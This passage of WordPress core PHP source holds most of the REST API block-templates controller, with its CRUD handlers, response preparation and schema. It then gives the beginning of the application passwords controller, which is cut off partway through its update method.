		$query = array();
		if ( isset( $request['wp_id'] ) ) {
			$query['wp_id'] = $request['wp_id'];
		}
		if ( isset( $request['area'] ) ) {
			$query['area'] = $request['area'];
		}
		if ( isset( $request['post_type'] ) ) {
			$query['post_type'] = $request['post_type'];
		}

		$templates = array();
		foreach ( get_block_templates( $query, $this->post_type ) as $template ) {
			$data        = $this->prepare_item_for_response( $template, $request );
			$templates[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $templates );
	}

	/**
	 * Checks if a given request has access to read a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Returns the given template
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_item( $request ) {
		if ( isset( $request['source'] ) && 'theme' === $request['source'] ) {
			$template = get_block_file_template( $request['id'], $this->post_type );
		} else {
			$template = get_block_template( $request['id'], $this->post_type );
		}

		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $template, $request );
	}

	/**
	 * Checks if a given request has access to write a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		$post_before = get_post( $template->wp_id );

		if ( isset( $request['source'] ) && 'theme' === $request['source'] ) {
			wp_delete_post( $template->wp_id, true );
			$request->set_param( 'context', 'edit' );

			$template = get_block_template( $request['id'], $this->post_type );
			$response = $this->prepare_item_for_response( $template, $request );

			return rest_ensure_response( $response );
		}

		$changes = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $changes ) ) {
			return $changes;
		}

		if ( 'custom' === $template->source ) {
			$update = true;
			$result = wp_update_post( wp_slash( (array) $changes ), false );
		} else {
			$update      = false;
			$post_before = null;
			$result      = wp_insert_post( wp_slash( (array) $changes ), false );
		}

		if ( is_wp_error( $result ) ) {
			if ( 'db_update_error' === $result->get_error_code() ) {
				$result->add_data( array( 'status' => 500 ) );
			} else {
				$result->add_data( array( 'status' => 400 ) );
			}
			return $result;
		}

		$template      = get_block_template( $request['id'], $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		$post = get_post( $template->wp_id );
		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, $update, $post_before );

		$response = $this->prepare_item_for_response( $template, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to create a template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_name = $request['slug'];
		$post_id                  = wp_insert_post( wp_slash( (array) $prepared_post ), true );
		if ( is_wp_error( $post_id ) ) {
			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}
		$posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type );
		if ( ! count( $posts ) ) {
			return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) );
		}
		$id            = $posts[0]->id;
		$post          = get_post( $post_id );
		$template      = get_block_template( $id, $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $template, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}
		if ( 'custom' !== $template->source ) {
			return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) );
		}

		$id    = $template->wp_id;
		$force = (bool) $request['force'];

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $template, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $template->status ) {
				return new WP_Error(
					'rest_template_already_trashed',
					__( 'The template has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result           = wp_trash_post( $id );
			$template->status = 'trash';
			$response         = $this->prepare_item_for_response( $template, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The template cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		return $response;
	}

	/**
	 * Prepares a single template for create or update.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Changes to pass to wp_update_post.
	 */
	protected function prepare_item_for_database( $request ) {
		$template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null;
		$changes  = new stdClass();
		if ( null === $template ) {
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => isset( $request['theme'] ) ? $request['theme'] : get_stylesheet(),
			);
		} elseif ( 'custom' !== $template->source ) {
			$changes->post_name   = $template->slug;
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => $template->theme,
			);
			$changes->meta_input  = array(
				'origin' => $template->source,
			);
		} else {
			$changes->post_name   = $template->slug;
			$changes->ID          = $template->wp_id;
			$changes->post_status = 'publish';
		}
		if ( isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$changes->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$changes->post_content = $request['content']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_content = $template->content;
		}
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_title = $template->title;
		}
		if ( isset( $request['description'] ) ) {
			$changes->post_excerpt = $request['description'];
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_excerpt = $template->description;
		}

		if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) {
			$changes->meta_input     = wp_parse_args(
				array(
					'is_wp_suggestion' => $request['is_wp_suggestion'],
				),
				$changes->meta_input = array()
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			if ( isset( $request['area'] ) ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] );
			} elseif ( null !== $template && 'custom' !== $template->source && $template->area ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area );
			} elseif ( empty( $template->area ) ) {
				$changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED;
			}
		}

		if ( ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$changes->post_author = $post_author;
		}

		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request );
	}

	/**
	 * Prepare a single template output for response
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support.
	 * @since 6.3.0 Added `modified` property to the response.
	 *
	 * @param WP_Block_Template $item    Template instance.
	 * @param WP_REST_Request   $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$template = $item;

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every template.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $template->id;
		}

		if ( rest_is_field_included( 'theme', $fields ) ) {
			$data['theme'] = $template->theme;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $template->content;
		}

		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $template->content );
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $template->slug;
		}

		if ( rest_is_field_included( 'source', $fields ) ) {
			$data['source'] = $template->source;
		}

		if ( rest_is_field_included( 'origin', $fields ) ) {
			$data['origin'] = $template->origin;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $template->type;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $template->description;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $template->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			if ( $template->wp_id ) {
				/** This filter is documented in wp-includes/post-template.php */
				$data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id );
			} else {
				$data['title']['rendered'] = $template->title;
			}
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $template->status;
		}

		if ( rest_is_field_included( 'wp_id', $fields ) ) {
			$data['wp_id'] = (int) $template->wp_id;
		}

		if ( rest_is_field_included( 'has_theme_file', $fields ) ) {
			$data['has_theme_file'] = (bool) $template->has_theme_file;
		}

		if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) {
			$data['is_custom'] = $template->is_custom;
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $template->author;
		}

		if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) {
			$data['area'] = $template->area;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = mysql_to_rfc3339( $template->modified );
		}

		if ( rest_is_field_included( 'author_text', $fields ) ) {
			$data['author_text'] = self::get_wp_templates_author_text_field( $template );
		}

		if ( rest_is_field_included( 'original_source', $fields ) ) {
			$data['original_source'] = self::get_wp_templates_original_source_field( $template );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $template->id );
			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions();
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Returns the source from where the template originally comes from.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Original source of the template one of theme, plugin, site, or user.
	 */
	private static function get_wp_templates_original_source_field( $template_object ) {
		if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) {
			// Added by theme.
			// Template originally provided by a theme, but customized by a user.
			// Templates originally didn't have the 'origin' field so identify
			// older customized templates by checking for no origin and a 'theme'
			// or 'custom' source.
			if ( $template_object->has_theme_file &&
			( 'theme' === $template_object->origin || (
				empty( $template_object->origin ) && in_array(
					$template_object->source,
					array(
						'theme',
						'custom',
					),
					true
				) )
			)
			) {
				return 'theme';
			}

			// Added by plugin.
			if ( $template_object->has_theme_file && 'plugin' === $template_object->origin ) {
				return 'plugin';
			}

			// Added by site.
			// Template was created from scratch, but has no author. Author support
			// was only added to templates in WordPress 5.9. Fallback to showing the
			// site logo and title.
			if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) {
				return 'site';
			}
		}

		// Added by user.
		return 'user';
	}

	/**
	 * Returns a human readable text for the author of the template.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Block_Template $template_object Template instance.
	 * @return string                            Human readable text for the author.
	 */
	private static function get_wp_templates_author_text_field( $template_object ) {
		$original_source = self::get_wp_templates_original_source_field( $template_object );
		switch ( $original_source ) {
			case 'theme':
				$theme_name = wp_get_theme( $template_object->theme )->get( 'Name' );
				return empty( $theme_name ) ? $template_object->theme : $theme_name;
			case 'plugin':
				$plugins = get_plugins();
				$plugin  = $plugins[ plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) ) ];
				return empty( $plugin['Name'] ) ? $template_object->theme : $plugin['Name'];
			case 'site':
				return get_bloginfo( 'name' );
			case 'user':
				$author = get_user_by( 'id', $template_object->author );
				if ( ! $author ) {
					return __( 'Unknown author' );
				}
				return $author->get( 'display_name' );
		}
	}


	/**
	 * Prepares links for the request.
	 *
	 * @since 5.8.0
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$template = get_block_template( $id, $this->post_type );
			if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) {
				$revisions       = wp_get_latest_revision_id_and_total_count( $template->wp_id );
				$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
				$revisions_base  = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id );

				$links['version-history'] = array(
					'href'  => rest_url( $revisions_base ),
					'count' => $revisions_count,
				);

				if ( $revisions_count > 0 ) {
					$links['predecessor-version'] = array(
						'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
						'id'   => $revisions['latest_id'],
					);
				}
			}
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.8.0
	 *
	 * @return string[] List of link relations.
	 */
	protected function get_available_actions() {
		$rels = array();

		$post_type = get_post_type_object( $this->post_type );

		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'` and `'post_type'`.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context'   => $this->get_context_param( array( 'default' => 'view' ) ),
			'wp_id'     => array(
				'description' => __( 'Limit to the specified post id.' ),
				'type'        => 'integer',
			),
			'area'      => array(
				'description' => __( 'Limit to the specified template part area.' ),
				'type'        => 'string',
			),
			'post_type' => array(
				'description' => __( 'Post type to get the templates for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Added `'area'`.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'              => array(
					'description' => __( 'ID of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'            => array(
					'description' => __( 'Unique slug identifying the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'required'    => true,
					'minLength'   => 1,
					'pattern'     => '[a-zA-Z0-9_\%-]+',
				),
				'theme'           => array(
					'description' => __( 'Theme identifier for the template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'type'            => array(
					'description' => __( 'Type of template.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'source'          => array(
					'description' => __( 'Source of template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'origin'          => array(
					'description' => __( 'Source of a customized template' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'content'         => array(
					'description' => __( 'Content of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'           => array(
							'description' => __( 'Content for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
						),
						'block_version' => array(
							'description' => __( 'Version of the content block format used by the template.' ),
							'type'        => 'integer',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'title'           => array(
					'description' => __( 'Title of template.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the template, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the template, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'description'     => array(
					'description' => __( 'Description of template.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'status'          => array(
					'description' => __( 'Status of template.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'default'     => 'publish',
					'context'     => array( 'embed', 'view', 'edit' ),
				),
				'wp_id'           => array(
					'description' => __( 'Post ID.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'has_theme_file'  => array(
					'description' => __( 'Theme file exists.' ),
					'type'        => 'bool',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'author'          => array(
					'description' => __( 'The ID for the author of the template.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'        => array(
					'description' => __( "The date the template was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'author_text'     => array(
					'type'        => 'string',
					'description' => __( 'Human readable text for the author.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'original_source' => array(
					'description' => __( 'Where the template originally comes from e.g. \'theme\'' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'theme',
						'plugin',
						'site',
						'user',
					),
				),
			),
		);

		if ( 'wp_template' === $this->post_type ) {
			$schema['properties']['is_custom'] = array(
				'description' => __( 'Whether a template is a custom template.' ),
				'type'        => 'bool',
				'context'     => array( 'embed', 'view', 'edit' ),
				'readonly'    => true,
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			$schema['properties']['area'] = array(
				'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ),
				'type'        => 'string',
				'context'     => array( 'embed', 'view', 'edit' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
<?php
/**
 * REST API: WP_REST_Application_Passwords_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      5.6.0
 */

/**
 * Core class to access a user's application passwords via the REST API.
 *
 * @since 5.6.0
 *
 * @see   WP_REST_Controller
 */
class WP_REST_Application_Passwords_Controller extends WP_REST_Controller {

	/**
	 * Application Passwords controller constructor.
	 *
	 * @since 5.6.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users/(?P<user_id>(?:[\d]+|me))/application-passwords';
	}

	/**
	 * Registers the REST API routes for the application passwords controller.
	 *
	 * @since 5.6.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema(),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_items' ),
					'permission_callback' => array( $this, 'delete_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/introspect',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_current_item' ),
					'permission_callback' => array( $this, 'get_current_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<uuid>[\w\-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_list_application_passwords',
				__( 'Sorry, you are not allowed to list application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID );
		$response  = array();

		foreach ( $passwords as $password ) {
			$response[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $password, $request )
			);
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Checks if a given request has access to get a specific application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_read_application_password',
				__( 'Sorry, you are not allowed to read this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves one application password from the collection.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Checks if a given request has access to create application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'create_app_password', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_create_application_passwords',
				__( 'Sorry, you are not allowed to create application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) );

		if ( is_wp_error( $created ) ) {
			return $created;
		}

		$password = $created[0];
		$item     = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] );

		$item['new_password'] = WP_Application_Passwords::chunk_password( $password );
		$fields_update        = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/**
		 * Fires after a single application password is completely created or updated via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param array           $item     Inserted or updated password item.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating an application password, false when updating.
		 */
		do_action( 'rest_after_insert_application_password', $item, $request, true );

		$request->set_param( 'context', 'edit' );
		$response = $this->prepare_item_for_response( $item, $request );

		$response->set_status( 201 );
		$response->header( 'Location', $response->get_links()['self'][0]['href'] );

		return $response;
	}

	/**
	 * Checks if a given request has access to update application passwords.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_edit_application_password',
				__( 'Sorry, you are not allowed to edit this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$item = $this->get_application_password( $request );

		if ( is_wp_error( $item ) ) {
			return $item;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

